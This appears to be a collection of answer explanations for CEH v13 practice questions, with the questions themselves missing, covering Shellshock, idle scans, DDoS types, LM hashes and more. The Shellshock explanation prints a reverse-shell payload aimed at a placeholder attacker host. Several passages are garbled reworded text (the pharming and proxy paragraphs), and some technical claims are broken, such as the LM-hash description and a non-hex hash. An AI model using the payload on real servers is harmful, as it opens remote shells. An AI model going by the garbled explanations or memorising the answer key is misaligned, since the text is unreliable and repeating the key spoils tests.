Windows systems were not directly affected because they do not use Bash by default. Bash is not a native component of Windows operating systems, and Shellshock exploits Bash-specific behavior. Only Windows systems where Bash was manually installed through a third-party method or environment (e.g., Cygwin) might be susceptible — but by default, Windows systems are immune.

Incorrect options:

A. Linux — Affected

B. Unix — Affected

C. OS X — Affected

D. Windows — Not directly affected (Correct answer)

The scenario describes a method used to make a cryptographic key more secure by making it harder to brute-force. This process is called Key Stretching.

Key Stretching:

Takes a weak or short key and processes it through a function (often repeatedly) to produce a stronger, longer key.

Commonly used in password hashing (e.g., bcrypt, PBKDF2, scrypt).

Increases the computational time required to test each guess in a brute-force attack, effectively reducing attack feasibility.

Incorrect Options:

A. Key derivation function (KDF) is related but more general; key stretching is a specific technique often implemented within KDFs.

B. Key reinstallation is associated with WPA2 KRACK attacks.

C. Public key infrastructure (PKI) is a system of digital certificates, not a key strengthening technique.

Reference – CEH v13 Official Courseware:

Module 20: Cryptography

Section: “Password Hashing and Key Stretching Techniques”

Subsection: “bcrypt, PBKDF2, and Key Strengthening”

CEH iLab: Password Hashing and Cracking Simulations

CEH v13 identifies the Idle Scan as one of the most stealthy and advanced reconnaissance techniques due to its ability to avoid generating any traffic directly between the attacker and the target. Using a “zombie host,” which has predictable IP ID sequencing, the attacker forges packets so that all scan traffic appears to originate from the zombie. The IDS sees communication only between the zombie and the target, not the attacker. This allows evasion of network monitoring tools, traffic correlation systems, and intrusion detection signatures. CEH highlights Idle Scanning as a core technique for bypassing sophisticated detection controls because it leaves no direct fingerprint of the attacker. Options A and B still originate from the attacker’s IP. Option C can evade some filters but remains detectable due to packet anomalies. Only Idle Scanning provides full origin obfuscation, making it the most appropriate method for stealth port enumeration.

In CEH v13 Module 05: System Hacking, once an attacker gains access to hashed passwords, cracking tools are employed to reverse or brute-force them.

Tool Breakdown:

John the Ripper: A powerful password cracking tool that supports many hash formats.

Hashcat: GPU-based, extremely fast password hash cracking tool.

THC-Hydra: Used for online attacks (e.g., SSH, FTP brute force).

Netcat: Not a password cracking tool — it’s a network utility used for:

Remote shell connections

Banner grabbing

File transfers

Port scanning

Therefore:

C. Netcat is the correct answer — it is not used for password cracking.

A Pulse Wave attack is a type of DDoS attack that uses a botnet to send high-volume traffic pulses at regular intervals, typically lasting for a few minutes each. The attacker can adjust the frequency and duration of the pulses to maximize the impact and evade detection. A Pulse Wave attack can exhaust the network resources of the target, as well as the resources of any DDoS mitigation service that the target may use. A Pulse Wave attack can also conceal the attacker’s identity, as the traffic originates from multiple sources that are part of the botnet. A Pulse Wave attack can bypass simple defensive measures, such as IP-based blocking, as the traffic can appear legitimate and vary in source IP addresses.

The other options are less effective or feasible for the attacker’s objectives. A protocol-based SYN flood attack is a type of DDoS attack that exploits the TCP handshake process by sending a large number of SYN requests to the target server, without completing the connection. This consumes the connection state tables on the server, preventing it from accepting new connections. However, a SYN flood attack can be easily detected and mitigated by using SYN cookies or firewalls. A SYN flood attack can also expose the attacker’s identity, as the source IP addresses of the SYN requests can be traced back to the attacker. An ICMP flood attack is a type of DDoS attack that sends a large number of ICMP packets, such as ping requests, to the target server, overwhelming its ICMP processing capacity. However, an ICMP flood attack from a single IP can be easily blocked by using IP-based filtering or disabling ICMP responses. An ICMP flood attack can also reveal the attacker’s identity, as the source IP address of the ICMP packets can be identified. A volumetric flood attack is a type of DDoS attack that sends a large amount of traffic to the target server, saturating its network bandwidth and preventing legitimate users from accessing it. However, a volumetric flood attack using a single compromised machine may not be sufficient to overwhelm the network bandwidth of a major online retailer, as the attacker’s machine may have limited bandwidth itself. A volumetric flood attack can also be detected and mitigated by using traffic shaping or rate limiting techniques. References:

Pulse Wave DDoS Attacks: What You Need to Know

DDoS Attack Prevention: 7 Effective Mitigation Strategies

DDoS Attack Types: Glossary of Terms

DDoS Attacks: What They Are and How to Protect Yourself

DDoS Attack Prevention: How to Protect Your Website

ARIN (American Registry for Internet Numbers) is a Regional Internet Registry (RIR) that provides information about IP address allocations and autonomous systems in North America. It’s used for WHOIS lookups and footprinting in reconnaissance.

A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data.

Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different.”

The CEH Cloud Computing module identifies cloud APIs as one of the most critical attack surfaces in public cloud environments. APIs control provisioning, configuration, authentication, and management of cloud resources.

A vulnerability in a cloud API can allow attackers to:

Bypass authentication

Escalate privileges

Access or modify cloud resources

Create or delete services

Option B is therefore correct.

Option A relates to availability, not API flaws.

Option C is managed by the provider and unrelated to APIs.

Option D would require key compromise, not just API weakness.

CEH strongly emphasizes API security as a top cloud risk.

A proxy server acts as a gateway between you and therefore the internet. It’s an intermediary server separating end users from the websites they browse. Proxy servers provide varying levels of functionality, security, and privacy counting on your use case, needs, or company policy.

If you’re employing a proxy server, internet traffic flows through the proxy server on its thanks to the address you requested. A proxy server is essentially a computer on the web with its own IP address that your computer knows. once you send an internet request, your request goes to the proxy server first. The proxy server then makes your web request on your behalf, collects the response from the online server, and forwards you the online page data so you’ll see the page in your browser.

A hybrid attack is a method that combines the dictionary attack with brute-force techniques. It starts with a list of known words (like in a dictionary attack) and then mutates them by:

Appending or prepending numbers (e.g., password1, 123hello)

Adding special characters (e.g., P@ssword!, admin#123)

Varying letter casing or leetspeak (e.g., h@x0r)

From CEH v13 Courseware:

Module 6: Malware Threats → Password Cracking Methods

Incorrect Options:

B: Linear is not a password cracking method.

C: Symmetric refers to encryption, not password cracking.

D: Brute-force tries every possible combination but does not start with a word list.

Ethical hacking, as defined throughout CEH courseware, is the authorized and legitimate process of identifying vulnerabilities, weaknesses, and misconfigurations in information systems. The primary objective is to strengthen security by discovering issues before malicious actors can exploit them. Ethical hackers follow strict legal guidelines, obtain written permission, and operate within a defined scope to ensure their activities contribute positively to the organization’s security posture. Unlike malicious hacking, the intent is not to steal data, cause harm, or disrupt operations. Ethical hackers use the same tools, techniques, and methodologies that attackers use, but with the purpose of remediation and risk reduction. CEH emphasizes that ethical hacking supports defense-in-depth strategies by enabling organizations to harden their environments and proactively mitigate threats. Therefore, identifying and fixing vulnerabilities is the central mission of ethical hacking.

The TPM is a chip that's part of your computer's motherboard — if you bought an off-the-shelf PC, it's soldered onto the motherboard. If you built your own computer, you can buy one as an add-on module if your motherboard supports it. The TPM generates encryption keys, keeping part of the key to itself

According to CEH v13 System Hacking and Web Application Hacking, once reconnaissance and footprinting are complete, attackers typically move into controlled exploitation while maintaining stealth. Since the CEH has already identified a session hijacking vulnerability, leveraging that weakness is the most logical and stealthy progression.

Session hijacking allows attackers to impersonate legitimate users without triggering authentication alerts, making it significantly less detectable than brute-force or scanning activities. Option B aligns with CEH methodology: hijacking a valid session provides authorized-level access, which can then be abused to make configuration changes discreetly.

SQL injection (Option A) may trigger database errors and IDS alerts. Brute-force attacks (Option C) are noisy and easily logged. Automated vulnerability scanning (Option D) generates excessive traffic and is typically avoided once exploitation begins.

CEH v13 emphasizes using already-identified weaknesses and minimizing footprint during exploitation. Therefore, Option B is correct.

LM hashes are split into two 16-character halves (each representing 7-character blocks). If the original password is less than 8 characters, the second half of the LM hash will always be a constant:

"AAD3B435B51404EE"

This known value is used to pad the second half of the password, and it signals that the original password was 7 characters or fewer.

In the options:

B. 44EFCE164AB921CQAAD3B435B51404EE ← ends with AAD3B435B51404EE → < 8 chars

E. B757BF5C0D87772FAAD3B435B51404EE ← also ends with AAD3B435B51404EE → < 8 chars

From CEH v13 Official Courseware:

Module 6: Malware Threats → LM Hash Weaknesses

CEH notes that cloud IAM misconfigurations can unintentionally grant broad access. If any authenticated cloud account is permitted read/write access, attackers can simply authenticate with their own cloud identity and directly interact with the misconfigured storage buckets, enabling data exfiltration or manipulation.

In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands.

The most common attack vector: Web servers using CGI scripts written in Bash.

Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands.

Exploitation looks like:

User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Google Hacking, also known as Google Dorking, is a passive reconnaissance technique covered in CEH v13 Reconnaissance Techniques. It involves using advanced search operators to uncover sensitive information that has been inadvertently indexed by search engines.

CEH v13 explains that Google Hacking can reveal exposed files, directories, configuration files, backups, login portals, error messages, and sensitive documents. This information often resides on the Deep Web, meaning it is not easily accessible through normal browsing but is still indexed by search engines.

Option D correctly reflects this capability. Google Hacking does not analyze source code directly (Option A), map internal networks (Option C), or primarily detect phishing sites (Option B), although it may indirectly assist with those tasks.

Because Google Hacking relies solely on publicly available data and does not interact directly with target systems, it fits perfectly within passive footprinting, making it legally and ethically appropriate when authorized.

CEH v13 emphasizes Google Hacking as a powerful method to identify unintended data exposure. Therefore, Option D is the correct justification.

The best measure to prevent similar attacks without overly restricting the use of personal devices is to conduct regular cybersecurity awareness training, focusing on phishing attacks. Cybersecurity awareness training is a process of educating and empowering employees on the best practices and behaviors to protect themselves and the organization from cyber threats, such as phishing, malware, ransomware, or data breaches. Cybersecurity awareness training can help the organization mitigate the risk of phishing incidents by providing the following benefits12:

It can increase the knowledge and skills of employees on how to identify and avoid phishing emails, messages, or links, such as by checking the sender, the subject, the content, the attachments, and the URL of the message, and by verifying the legitimacy and authenticity of the message before responding or clicking.

It can enhance the attitude and culture of employees on the importance and responsibility of cybersecurity, such as by encouraging them to report any suspicious or malicious activity, to follow the security policies and guidelines, and to seek help or guidance when in doubt or trouble.

It can reduce the human error and negligence that are often the main causes of phishing incidents, such as by reminding employees to update their devices and applications, to use strong and unique passwords, to enable multi-factor authentication, and to backup their data regularly.

The other options are not as optimal as option D for the following reasons:

A. Provide employees with corporate-owned devices for work-related tasks: This option is not feasible because it contradicts the BYOD policy, which allows employees to use their personal devices for work-related tasks. Providing employees with corporate-owned devices would require the organization to incur additional costs and resources, such as purchasing, maintaining, and securing the devices, as well as training and supporting the employees on how to use them. Moreover, providing employees with corporate-owned devices would not necessarily prevent phishing incidents, as the devices could still be compromised by phishing emails, messages, or links, unless the organization implements strict security controls and policies on the devices, which may limit the user autonomy and productivity3.

B. Implement a mobile device management solution that restricts the installation of non-approved applications: This option is not desirable because it violates the user autonomy and privacy under the BYOD policy, which allows employees to use their personal devices for both personal and professional purposes. Implementing a mobile device management solution that restricts the installation of non-approved applications would require the organization to monitor and control the devices of the employees, which may raise legal and ethical issues, such as data ownership, consent, and compliance. Furthermore, implementing a mobile device management solution that restricts the installation of non-approved applications would not completely prevent phishing incidents, as the employees could still receive phishing emails, messages, or links through the approved applications, unless the organization implements strict security controls and policies on the applications, which may affect the user experience and functionality4.

C. Require all employee devices to use a company-provided VPN for internet access: This option is not sufficient because it does not address the root cause of phishing incidents, which is the human factor. Requiring all employee devices to use a company-provided VPN for internet access would provide the organization with some benefits, such as encrypting the network traffic, hiding the IP address, and bypassing geo-restrictions. However, requiring all employee devices to use a company-provided VPN for internet access would not prevent phishing incidents, as the employees could still fall victim to phishing emails, messages, or links that lure them to malicious websites or applications, unless the organization implements strict security controls and policies on the VPN, which may affect the network performance and reliability.

This activity clearly indicates a TCP SYN scan, also known as a half-open scan, which is a commonly used stealth scanning technique discussed in CEH v13 Reconnaissance and Network Scanning. In a SYN scan, the attacker sends TCP SYN packets to target ports and observes the responses without completing the TCP three-way handshake.

If the port is open, the target responds with a SYN/ACK packet. The scanner then immediately sends a RST packet instead of the final ACK, leaving the connection half-open. This behavior allows attackers to identify open ports while minimizing log entries and reducing detection by security monitoring tools.

The absence of ACK packets in logs supports this explanation, as the handshake is never completed.

Other options are incorrect because:

XMAS scans send packets with multiple flags set.

SYN/ACK scans are primarily used for firewall rule discovery.

TCP Connect scans complete the full handshake and generate ACKs.

CEH v13 emphasizes that SYN scans are widely used because they balance accuracy and stealth, making them a preferred reconnaissance method for attackers.

Non-repudiation is the assurance that someone cannot deny the validity of something. Non-repudiation is a legal concept that is widely used in information security and refers to a service, which provides proof of the origin of data and the integrity of the data. In other words, non-repudiation makes it very difficult to successfully deny who/where a message came from as well as the authenticity and integrity of that message.